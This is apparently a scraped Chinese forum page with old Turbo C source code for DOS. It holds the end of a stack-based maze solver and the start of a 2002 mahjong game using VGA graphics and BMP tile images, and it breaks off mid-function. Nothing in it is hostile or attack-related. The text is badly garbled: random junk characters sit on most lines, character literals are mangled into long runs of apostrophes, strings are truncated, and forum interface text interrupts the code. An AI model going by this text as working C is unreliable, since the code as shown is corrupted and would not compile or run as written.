+ y; J# @2 f) p1 lBoolean Pass(PosType curpos)
( }0 s. U6 d  ]+ {* W+ V1 t/* Check if the current position can be passed. */  q- e) B3 C) E
{
* A* w# ]" `9 h/ p, [4 U* p& tif(maze[curpos.x][curpos.y].td==1&amp;&amp;/ T6 B3 K" o" p
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
* J5 M" `7 U5 n3 F8 Y6 ~/ Qreturn TRUE;, R! U$ k( E  T+ _
else return FALSE;! R+ J/ L) \1 C4 i+ P9 Q
} /* Pass */
6 V4 _  T4 W8 L4 J  I% Gvoid MarkPrint(PosType seat)
4 d$ ~, f( w9 M. I4 F& t2 C+ U/* Mark the position seat. */
, q2 |1 g- \( o. |. y{
) F* k  X. X7 S- ?. t& B7 l+ _maze[seat.x][seat.y].mark=-1;
+ n0 S$ @# Z3 G7 Y& y* T" \/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */0 M' G6 i; v$ P6 W3 ?- x
} /* MarkPrint */
4 R# k% ?3 H" K/ P5 [void FootPrint(PosType curpos)
% |$ j0 w7 o! W  s' N# ^/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */  Q# i5 G2 P7 u4 t4 @6 @
{/ R" G7 g  I$ o& i  D4 O' [! A6 O
maze[curpos.x][curpos.y].foot=1;
# y1 p; J& n6 ]2 a/ {% [} /* FootPrint */
. \' z( p# x; R" T: i$ jPosType NextPos(PosType seat,int di)* _7 [; R( Z" P* G: R8 z
{
2 D7 b: ?- @$ `4 D; _4 v! k8 Nswitch(di)
) {3 k8 h" k$ y9 [  _{
7 G5 s" k8 B: f9 h' u6 E$ M  v7 bcase 1: seat.y++; return seat; /* Eastward */
1 O1 K( X4 \( j* f, lcase 2: seat.x++; return seat; /* Southward */
5 L1 o+ V5 n: `2 H4 Y" z: K0 Hcase 3: seat.y--; return seat; /* Westward */! Q3 F6 v+ S6 k! R
case 4: seat.x--; return seat; /* Northward */; `# i. w3 f" F4 S
default: seat.x=0; seat.y=0; return seat;
) C: E2 x0 _" S}
9 n$ z& X4 z% L- i* A  S} /* NextPos */: \9 r0 S  @9 S3 ], H0 X+ R6 i
# N! V! {+ K9 f3 S  c7 Q* f  X2 i
/* The key to the program. */, p& L+ S+ ?4 r) I
/* Pre: The maze array &amp; the startplace &amp; the endplace.
' ^3 G4 w: Q5 S, HPost: Find the one traverse of the maze and perform the mazepath.
% s4 G) I  ?! E, cUses: The ADT stack class.0 D- _0 }  O8 v" D/ ]
*/
* s1 \, u- x2 ^+ h# j4 F8 _8 H( IStatus MazePath(PosType start,PosType end)& n: l: B' O0 F" u) F
{
/ X8 p1 V; W" L/ p1 VPosType curpos;
; }8 y) F" F8 s4 N" i" rint curstep;
& M& o% t, F& ^0 R9 S$ z0 g! y, E4 aSElemType e;. z* P. c3 Q8 u7 W! K8 Z
Stack *s,stack;
* y* C) `# M" L3 Estack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
6 ^5 U% i& y# }: x4 @if(!stack.base) Error("Overflow");% C0 v# ?9 d" `' C
stack.top=stack.base;4 ~# B0 P* K1 Q
stack.stacksize=STACK_INIT_SIZE;9 K$ J$ g* c6 u
s=&amp;stack;5 q' [7 Z8 z: J% n8 l6 d- ~
curpos=start;
  f7 h7 F. U. g, j* x9 F+ O7 }curstep=1;
* @7 V6 a/ R- K( Hdo
" s$ R" f. v3 y; Y9 @{; k& F9 E" U8 I/ T1 `! v
if(Pass(curpos))2 T8 x/ P' Q& d. F$ \: `$ }
{3 Z( `/ J' v5 p! i, D
FootPrint(curpos);5 h# t. O$ o" E" T/ C3 T5 o
e.ord=curstep; e.seat=curpos; e.di=1;
+ D/ k2 s: N& Y6 [" E, Mgotoxy((curpos.y+1)*2,curpos.x+2);
# n/ }2 A$ A9 M: p5 |  A8 yputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');% t7 d. T1 k5 z: E. Z
delay(8000); /* pospone time. */
7 n0 {. T& T! ]/ h! L7 K' \Push(s,e);
- |7 B9 x4 q* fif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */5 V- G! n" R* b
{
. u3 L, s* F# Y! P) i  [% E) o$ WDestroyStack(s);/ W" ~* Q; i% B  ?
return TRUE;4 E- `6 U; W$ P0 {4 K" O5 Q# W8 j) `
}
- r$ O) H, Z- Q1 \; F2 v5 E3 f9 ocurpos=NextPos(curpos,1); /* Try next position. */! ~4 P- z( w0 H5 J, N! \6 A
curstep++;: N7 z  o8 D& z( ^4 j
}  s4 q9 Y) F# u; k- w
else
3 B' e* k8 x) ]- j{
! `) O! {  z! ^6 bif(!StackEmpty(s))+ F' U* E5 V) p
{
+ ]) Z) p- Y0 N6 O, e9 k9 \/ Ke=Pop(s,e); /* Removed e from s. */- b! G6 S& [: H5 q. I
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
3 G  Z4 Z5 n: J) t/ {and s is not empty. */; q  ]2 S! R& U
{- a2 y, g5 J6 \! O/ k, G; I
MarkPrint(e.seat);
' X, I1 q7 }2 n( Wgotoxy((e.seat.y+1)*2,e.seat.x+2);# p2 Y0 [7 c- s+ z
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
' n) G2 g+ j; ]delay(8000); /* Pospone time. */! t& A; Z2 l5 D! \4 t. R  e
gotoxy((e.seat.y+1)*2,e.seat.x+2);
3 s3 I0 d0 {: J) H. `+ ~putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
4 N/ V3 \6 o, ^' j" h+ b; m9 P( ye=Pop(s,e); /* Remove e from s. */
$ w8 l0 M; w. F- h* H: Lcurstep--;7 `  n8 u& h  j1 n& M+ O  N
}7 c3 h$ g  I+ b) F/ N* P4 |& u& l
if(e.di&lt;4) /* The current position hasnot been checked. */: R$ A$ U3 {" m9 m$ Z
{
5 h) J% g3 Q* H) m9 ve.di++;5 t9 ]) k. L% @+ u$ W  F
Push(s,e); /* Insert e into s. */; Q, K( f. Y& D1 `- l
curpos=NextPos(e.seat,e.di); /* Try next position. */
; I' q6 f4 H: ]& |5 r: i}
; M4 q1 \! t: k& h3 A2 r) u, V}
; l& J1 y- v7 ^; g- C}) ~6 a: \3 {) W' ~9 w& w
}
  \' T2 L0 V8 F* S7 J: h+ ~while(!StackEmpty(s));! T1 \, D# Y/ A# J2 j
DestroyStack(s);
0 F0 g: ]! _( Creturn FALSE;% G9 y8 A6 t: I. W5 f
} /* MazePath */- |5 r6 ~9 u7 A7 b) ^6 Q
void main(): K: q, W9 E% |4 L% S. s
{: k0 b% `, q0 i$ l5 w7 x
PosType start,end;
5 q  D3 e$ z  y. C# GCreatMaze();
4 N% e- Z! o" A) A3 L' \  cstart.x=StartPlace.y;
+ H  p, ]! I1 @9 f7 }0 K' ystart.y=StartPlace.x;
" H, ~4 `0 W  Lend.x=EndPlace.y;
  j( @+ S1 P+ f7 l. f" }end.y=EndPlace.x;
$ ~. F. B! G3 w  v: y2 D. B" ~if(MazePath(start,end))
1 }0 @, T, Q! o( C* o- _{7 g( U( t; E) j- {) k0 v
gotoxy(2,22);
% r3 t7 w5 G' Yprintf("ath found\n");
$ \0 Q1 s# M  N# R6 j8 i}, `2 ~- a0 `' D/ ]4 s
else
" }! [  N6 |* ]' w* K7 y{3 w0 ^! i8 d% t% Z# S6 K
gotoxy(2,22);( K0 V& |8 a1 ]4 K, R- M
printf("ath not found\n");9 y" o6 @. w7 y
}
% F3 A2 c8 E3 n, A6 ~# T# }getch();( K! |) B. M, G6 i1 i6 H
clrscr();
% `; ~- R3 u9 G8 U& d& `) ^0 q7 G9 U} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
( d& ]$ ?* v6 z/ l5 I1 Z/*天宇软件
, y  E$ R! j# t4 k" X5 H作者:上海黑暗之龙
0 o1 L4 i' |" e# f2002/10/30( V* [" T+ L: d% d& Z1 r$ ?
麻将原代码*/1 Z7 H9 Z4 h) p) E) L9 n5 {- A
#include "dos.h"
" d" [5 a3 H* Z% l. z: F! R#include "stdio.h"
6 M1 u) r5 t- f% Z" F#include "graphics.h"/ I. o/ P  r6 C. ^, s
#include "bios.h"
1 I  E$ t! z/ g#include "conio.h"
( Y0 S4 ^# Q# V3 f#include "stdlib.h"
! u  z$ k9 q. n$ {/ h8 junsigned char far *video_buffer=(char far *)0xA0000000L;% G9 e) }8 r0 c( h. n
#define VGA256 0x13 /*图形模式13h*/
! e& V* J4 t5 v# Y, b# j5 s, q7 P+ U* U#define TEXT_MODE 0x03 /*普通文本模式*/
, z$ J6 s% X, v8 Q6 y- J5 i#define SETVGA Set_Video_Mode(VGA256)
- M% A2 x% |1 y* |* A7 w. u#define OUTVGA Set_Video_Mode(TEXT_MODE)
2 ?3 l1 t3 M1 ^* ^" g#define BYTE unsigned char
% ?* [* d' n' V# Y2 \6 j#define WORD unsigned int/ @& K% q  P5 F  I' t8 M. {7 s
#define DWORD unsigned int
. l/ @6 [' v  V- Z+ r1 [4 r( J& t#define ESC 283
' k. L" Z, a! s( f8 J' a#define LEFT 19200& i6 b6 }* Z2 A6 q( C6 Q
#define RIGHT 19712+ `# y9 {0 q* R1 `: q8 M9 N
#define H 9064
- z" C% X" [! U" E+ H9 G#define ENTER 7181! }( _/ ]& A& ^: o
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
2 M: U1 D7 k7 gint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
: l( @9 z6 i* \0 {* mstruct chi( B. e5 X& E$ P, I* e
{
6 S- a$ |+ @: k( O( @int lg;5 S2 l/ C0 M% i( D# l
int lgg;) u9 _' m. |- _' |
}ch[13];
' j) f% ^1 d, Estruct mj
  v! y/ t; Y! i$ V0 R) q{ char *name; /*名字*/. X  t: C4 _9 u! B8 {
int data1; /*是否已出,无用了*/
7 s* g; a. Z) d9 xint data2; /*是否在手中,1为自己,2为对方*/7 `2 P# [% H/ W( ~8 F
int number; /*同一个花色的第几张,共4张*/
/ d- P5 Z  @0 s/ U}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,1 f' Q* n( U5 Y& O! h4 ]/ J
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
+ G; p; N9 O# i" A, h/ ]& U"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
4 k: A: [6 C1 h2 L$ Q5 \"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
; W% e6 S$ Z, B- v9 e- x7 g  t3 Q"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,. O, L2 t. f. Z9 f
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,* P; _5 K* c; I2 j/ ]* J$ p  C
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,& E# i' e  o+ K3 |/ @7 Q. X
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,0 X9 c2 J& q! V2 E6 z7 x7 y
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,3 T0 X3 i8 z6 j! H
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,) E7 d. \( p# W/ U5 a
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
5 g. G- s1 k' C2 ~"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
6 I/ z) U8 J( q! q! C" ]" T. I3 i1 e"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,$ s) K6 P" I+ ^* k7 {
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,' P  L/ ~: F0 Y4 Z/ j; X* m
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
/ M7 K3 q. ?& D6 n"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,6 }$ w7 d- m' E9 x2 Y) ~9 k4 P
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,5 k0 D% V+ l, G$ `/ q' W* _- D  _
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,# r: u$ H6 ?* ^% Y+ d
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
/ |* b8 ?$ O6 L7 g0 ~"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
7 b0 L( H$ j& I0 ^9 b) @"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
3 B7 L0 |; E. o  s" R"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
; {. A  f4 D5 h; }4 d: r: q"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
0 N/ N0 k) n$ W. I7 Q  Z"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,# a  x9 r7 ~) t+ A8 u; H* Z
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,5 W: O( v8 D5 X* E
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
2 `3 p2 X0 m( H"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
, \* p: ]0 N" S9 w"34.bmp"};3 }! j0 Q7 T' P5 z3 I0 L8 ~" K/ e2 y
struct every8 l/ o% a/ {3 D  q1 A1 v
{ int *k; /*名字*/
- a+ C& P8 C% }. Mint oneorfour; /*同一张牌的第几张*/* ^) g/ _: r3 l* B& z# z
int number; /*第几张牌136*/
! U: J4 Q* b* xint p;8 Q5 S# v8 f; H
int g;/ e5 y  _$ o% o) @* ^* _
int c;5 C' {* h8 t6 B: g- O6 o1 r
int d[2];7 O7 l* ~; |" F! o
};
0 y' H- R* _; M  cstruct me
% W3 a3 ^! \; q$ a; s& q{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
( q8 u3 m4 F9 E5 s7 Vint p; /*乓对方*/- d: f. M7 ?; f; m
int c; /*吃对方*/
- g/ s$ L  R7 a( N5 ]int g; /*杠*/
, u7 F! i9 v. d3 r; ?  e6 f3 Z+ N3 _; q$ ~- M
struct every pp[14]; /*存放手上的牌*/
& O# U& d) |6 x}me;+ h0 j* ~8 ?0 p& t7 o) G7 M6 ^& W9 k" B
struct computer) V; i/ r, B% T  t4 J
{ int m;# s' j5 J, a* |: x+ k
int p;
; {9 U6 T8 @7 a- e  h9 Z  n- |' y( jint c;
3 r& i7 }7 g1 x/ E! \5 Z  mint g;
, F) a  h3 u  }0 q5 X. fstruct every pp[14];# }$ p9 ]/ N. I; y0 J2 D
}computer,comp;
; [5 L8 w: }& X% q) W' A3 D/ k1 Z4 o" x& G  y. M# H
/* 设置调色板 */$ w; R4 J2 a  Z2 w) O6 x
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)" T4 G* Z9 {. L( p
{0 b5 X8 x5 K- h! F  q+ P& d
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/) `3 R2 Q- X3 B4 k! Q: X
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
4 O& b( g* Y0 A7 Coutportb(0x3c9,g);4 U* w7 {) |, _) K/ f; ^4 h% I" n
outportb(0x3c9,b);
( M5 j+ J! `4 E- [) \}& y3 |' l: ^3 r- i; V: F! U( C% s
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
4 D/ `! Y+ y1 x9 P( U/* 设置显示模式的函数 */
: i; D$ i7 a! U( svoid Set_Video_Mode(int mode)
4 t+ a5 ]1 }2 |: K% e; @{+ i4 \% _! P5 O( G$ E
union REGS inregs,outregs; /*定义输入和返回寄存器*/1 P8 u: w+ C4 b: u' K4 o, ?; D
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/4 M. a$ E$ B0 P2 {
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/& l+ d/ E( a' o
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
  x+ w9 J: P/ V}- X% c' D( |1 R2 [
void v_line(int y0,int y1,int x,unsigned int color)" b7 N$ E: |! G$ M/ G
{ unsigned int address,n,temp;
/ ?$ _4 ?6 N) b, T3 G5 P, L" e: f3 oif(y0&gt;y1)8 ]& z' |$ s( J: ^
{
* p5 N' J/ y1 F& Z; P& w& @temp=y1;) H6 k7 g, q: I" B3 W/ ?: x
y1=y0;4 q1 J1 X7 N5 ?( G! I. \
y0=temp;* D) i' Z/ D( v! r
}/ ]6 N  B9 ?! U, R
address=320*y0+x;
1 @* }" k. Y0 u: f2 ?( ufor(n=0;n&lt;=y1-y0;n++): ?( E: Q3 {( c4 z
{* D- t3 J7 z5 k7 B
video_buffer[address]=color;
4 S+ C( K# z4 c$ d  C3 Z; haddress+=320;( l' P7 o" b( o( L
}0 a2 y: J+ l; ]6 Z
}8 Q6 D) C1 S" c( P& A0 H1 o
void h_line(int x0,int x1,int y,unsigned int color)
) j. ~/ A2 p- E# D) R' X{ unsigned int address,n,temp;. G5 q# T) f( \5 F8 ^: u4 M
if(x0&gt;x1)
; o+ }6 Q+ |8 h$ s( V2 S{$ E2 \( L; l* ?- a5 m3 p6 N
temp=x1;
" a- s4 _; \/ l2 y+ T# M# y* _x1=x0;: z0 G4 ~1 h2 z% x; n4 j
x0=temp;
& R5 S* a5 y7 n( ^}( ]8 x1 w1 _, v1 W! c) x& p
address=320*y+x0;. r& G6 }, k) T  ?' o" g- a
for(n=0;n&lt;=x1-x0;n++)2 J& @4 b9 T8 [0 B4 P' P. p( Z* F
{! _) p8 Z2 H5 V) @% f  x
video_buffer[address]=color;
8 r9 R- p6 C; S1 s  [. Naddress+=1;9 A3 {0 p' g0 ], C1 R% S
}$ E7 t. k' t0 M  {  }2 E4 Y$ p
}( K9 y/ c" N5 g7 w
void p_pixel(int x,int y,unsigned int color)% ]- C; n9 j' r' U0 V) H, D
{ video_buffer[y*320+x]=color;
8 s% \1 d9 V) }/ I}7 S. g) T0 u+ s" q+ S/ M& I$ u
void s_square(int x,int y,int side,int color)
& }; w: x$ U! i/ i, ]6 Z. p2 W. N{3 ?# s7 W9 E- I
h_line(x,x+side,y,color);
/ ^4 M# g. }. [( d: z% t- Zh_line(x,x+side,y+side,color);6 o$ P+ |( _& Z: w0 s) S$ p
v_line(y,y+side,x,color);
/ O  y. o( T2 G( y7 uv_line(y,y+side,x+side,color);
. C8 Y2 J7 X  ?9 p! T}
3 j2 `& o# M2 A: yvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
+ [! [2 b8 |. z" O' L: b{
6 M0 T/ s2 B- H; V. @5 s6 Eh_line(x1,x2,y1,color);& [8 Q0 M& Z! k
h_line(x1,x2,y2,color);: ^0 \) R" y+ s6 r0 ]
v_line(y1,y2,x1,color);
8 G7 j1 \0 X9 q( H: v: F, jv_line(y1,y2,x2,color);3 H# k# x  W' _4 d& k/ g
}0 Z/ B1 m' z1 z. ~/ x
void fillRectangle(int x1,int y1,int x2,int y2,int color)
0 ~2 U: _, J1 n{
+ t. G, x8 m. X/ Y( _int i;
3 i1 i* Y; m8 L' I. y' Ffor(i=y1;i&lt;=y2;i++)
, O! N0 }5 a/ b9 l3 a9 U% g8 D& q{% U8 l& b8 m8 N; K& U/ M, O
h_line(x1,x2,i,color);
4 H' I/ e, ?3 d4 u( E* G# d}
- L$ Q' z6 l( b- W* R7 e( {5 {( P}
! U% Y. C  l, t/ x( Zvoid showbmp(int l)# K' |0 H- q- Z% p$ |
{ FILE *bmp;
/ H3 i7 X# n8 @int i,x,y;
+ g8 E6 B6 h8 W% D; y: r( s$ mBYTE palette[256][3];! H- O: o% F6 `
bmp=fopen(me.pp[l].k,"rb");
7 v# ~; s% ?9 ]! d, xfseek(bmp,54,SEEK_SET);: N$ D7 j5 a* p" n: g) D. K
for(i=0;i&lt;256;i++)
" f# y8 p! v  ]  h8 n{
: ~0 p! T: H" r$ N4 \% K, `palette[2]=fgetc(bmp)&gt;&gt;2;& _. q: l* I' ]! S
palette[1]=fgetc(bmp)&gt;&gt;2;
" Z" g4 B8 {2 ]) K/ dpalette[0]=fgetc(bmp)&gt;&gt;2;9 W: ]; {, @9 T
fgetc(bmp);8 f: T" x. l. Y: r( S
Set_Palette(i,palette[0],palette[1],palette[2]);. Y* C- f9 u0 d( m% ]" y: i4 u1 b9 L$ b
}
* E. I! Y& I" Y# B2 }for (y=0;y&lt;30;y++)7 p9 e1 H1 l& k6 [& J
for(x=0;x&lt;20;x++)
2 u1 ~' A  u/ X, Bpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));0 ~: k; y. _3 P$ }9 f) o) G
fclose(bmp);  [6 X! ]- A1 F: T" u& _; c& l
}
5 h3 T' z' S" r) g* S3 Y. Evoid showbmpd(int l)
. M5 u. D* p7 B8 s) f' a{ FILE *bmp;
! E1 e, D( o5 Cint i,x,y;5 {2 {& S2 r5 m% T
BYTE palette[256][3];
8 r/ C; w# h6 \) h/ Mbmp=fopen(me.pp[l].k,"rb");
0 G2 f+ D7 Z9 Gfseek(bmp,54,SEEK_SET);
6 S( \  ^( `+ e- V( mfor(i=0;i&lt;256;i++)
( z' u8 g2 I* K7 i; Y{
, s) U/ \: X  h5 epalette[2]=fgetc(bmp)&gt;&gt;2;, Q! @% a. ?! M3 Q6 R' ?
palette[1]=fgetc(bmp)&gt;&gt;2;) ?$ C* Q2 e3 v  s( o6 Z
palette[0]=fgetc(bmp)&gt;&gt;2;
* r; Z/ K" t4 y5 Z& _* I$ mfgetc(bmp);
& C$ K4 y$ H3 vSet_Palette(i,palette[0],palette[1],palette[2]);
4 r9 A4 Z) I" `- D# r}
2 V6 G4 }& L& I) n2 Yfor (y=0;y&lt;30;y++)
) a8 _( }+ y2 ^2 c; y7 }) Ifor(x=0;x&lt;20;x++)
% q3 D" n2 A  I3 x; Bpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
6 \, B& S3 N- Y8 Pfclose(bmp);4 J4 v4 W$ l# L# p: X
}
) s5 B% z2 s' W9 y9 M# ?1 {void showybmp(int ll)" J$ y0 D' [9 U1 E8 {, s
{ FILE *bmp;
# O2 n" Z$ ^3 Mint i,x,y;% T8 D3 n- r4 p1 B. p* U
BYTE palette[256][3];
; F/ ?6 [/ t7 W2 d1 p* Q& N! Jbmp=fopen(computer.pp[ll].k,"rb");
2 ?/ l- Z( x: `+ Cfseek(bmp,54,SEEK_SET);
- W) a$ G. Z. E6 t+ L) r% Pfor(i=0;i&lt;256;i++)+ c7 k' |9 {5 D/ B% \- M
{
: o3 {7 _7 U1 s) y! B7 tpalette[2]=fgetc(bmp)&gt;&gt;2;
# |, ~2 Q1 [2 r0 u3 `7 _' Qpalette[1]=fgetc(bmp)&gt;&gt;2;
, E8 z% g9 ]/ ?) U+ Z# `palette[0]=fgetc(bmp)&gt;&gt;2;5 n) R* f' V' f  a* y- w
fgetc(bmp);) S. ~) z1 f" u: n* b8 e
Set_Palette(i,palette[0],palette[1],palette[2]);
6 Q/ K. r2 `% a7 E}& V# y8 B# P1 L5 x2 t0 R+ C* S
for (y=0;y&lt;30;y++)3 e9 d- W+ R! }" I4 U, p
for(x=0;x&lt;20;x++): [' L5 p5 X7 P' ]* a
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
: i" O0 M2 o3 _; yfclose(bmp);
+ ?- C5 `) K. I2 A1 x% x" _/ k}
) d8 o" q: C2 E& tvoid showcbmp(int ll)
/ o( ?- V2 M6 K, `" S, z{ FILE *bmp;$ W7 f0 G6 L+ B
int i,x,y;
+ k1 C5 E7 G* D' L) h% HBYTE palette[256][3];
" |" ^9 p% e' T2 }& Tbmp=fopen(computer.pp[ll].k,"rb");
, O( S, u; z' [: d+ R* v" Vfseek(bmp,54,SEEK_SET);* p; d9 j* G* D4 ^& ^& ^) X
for(i=0;i&lt;256;i++)% k* f2 ~0 s5 I$ q
{
) q/ t& a0 U5 ~# lpalette[2]=fgetc(bmp)&gt;&gt;2;
; g: S: _5 Z4 I4 Y1 G# Cpalette[1]=fgetc(bmp)&gt;&gt;2;
, j4 ^# X  a! j, X$ Cpalette[0]=fgetc(bmp)&gt;&gt;2;8 d9 F' R+ {( b9 c/ }1 i9 k' q# Q
fgetc(bmp);, f$ D% a% a; h
Set_Palette(i,palette[0],palette[1],palette[2]);- [0 A( ]% ^* H# B; {
}" H0 l6 L7 k$ _
for (y=0;y&lt;30;y++)- E9 C* m% w1 ?/ R- r/ s
for(x=0;x&lt;20;x++)+ }! T2 p/ X  z, O
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));8 U! j; _; ?7 Q3 E
fclose(bmp);  M3 D/ N# c- n$ ]. x6 i
}9 V9 S# m$ Y4 j4 }
void bmpp(int number). h0 D) t3 u+ s1 L0 \2 k- C" t7 S
{ FILE *bmp;
) Z% w$ n  t+ gint i,x,y;  b5 b! O. _+ p5 q& f3 p
BYTE palette[256][3];
2 v% p8 X3 s/ [& Qbmp=fopen(m[number].name,"rb");5 C: a( D4 ~3 e' G8 J3 N/ Y
fseek(bmp,54,SEEK_SET);
: S9 c9 J9 T2 t6 E4 Q7 z. D  ifor(i=0;i&lt;256;i++)
3 B) i& ]' S" X5 z8 S" y{
7 y' t- V% j6 y3 o) K9 x- mpalette[2]=fgetc(bmp)&gt;&gt;2;1 L$ r- I" ~4 Z, H2 Z
palette[1]=fgetc(bmp)&gt;&gt;2;
+ O/ t0 E. V# n4 }palette[0]=fgetc(bmp)&gt;&gt;2;
7 j; C" W3 F1 ifgetc(bmp);
/ J" e, V+ P2 o. x* Q% oSet_Palette(i,palette[0],palette[1],palette[2]);: l+ N: [* Z4 D: ?  u
}. d4 I& D2 A7 J; l/ q. _. t, A* |
for (y=0;y&lt;30;y++)$ {* k' L8 `$ _* ]
for(x=0;x&lt;20;x++)
5 H  X0 Z1 M; J) y# jpokeb(0xa000,y*320+x+zl,fgetc(bmp));
8 M5 G/ a' ^' Y" N! wfclose(bmp);
( |, X! i: H! z, K}
! J$ g; L$ g( F( Y  Evoid comlipai() /*整理电脑的牌*/0 P* E/ F5 L3 g" D# ?
{ int n,j,u;" s) u( }& i3 j( G$ z8 {0 w5 E
int *lingshi;
% `% ?' A( f8 s" n$ M2 Nfor(n=0;n&lt;computer.m;n++)
% ?& l0 {& ~2 g9 u7 B3 Qfor(j=n;j&lt;computer.m;j++)
, ?4 d" h1 }5 p5 m) b{/ k' h6 e7 A& S8 ]( K% _" k
if(computer.pp[n].number&gt;computer.pp[j+1].number)* ~4 T' q  [! `( L- H
{2 k$ b0 h8 D# I3 L  ]
lingshi=computer.pp[n].k;7 u/ |. f9 ]3 F1 K* {7 M
computer.pp[n].k=computer.pp[j+1].k;
9 Y: X. g5 G0 k7 }computer.pp[j+1].k=lingshi;+ b( d$ x* _1 f
u=computer.pp[n].oneorfour;
# Y3 ]. S3 `' J8 H9 D7 \computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;: j7 ^5 u9 L3 e! |7 X4 y
computer.pp[j+1].oneorfour=u;5 |0 w$ Z* l# t% A" t" z9 ]: ]1 s" J
u=computer.pp[n].number;
' G5 U" @3 a$ D, h( ^4 w. K4 j2 u; |7 icomputer.pp[n].number=computer.pp[j+1].number;. h8 r3 M7 P( `1 }0 D8 I
computer.pp[j+1].number=u;
# `) Q% A6 q$ p}
/ m: K0 r4 y, a3 N+ D9 h2 G+ zelse
& @1 o6 q! n7 ]" q# h. I4 sif(computer.pp[n].number==computer.pp[j+1].number)& A/ D9 @4 n# r( s  L/ ~8 G
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)& {5 ]9 v: ^: R/ H1 [
{) O: o& x5 s( K5 b
lingshi=computer.pp[n].k;
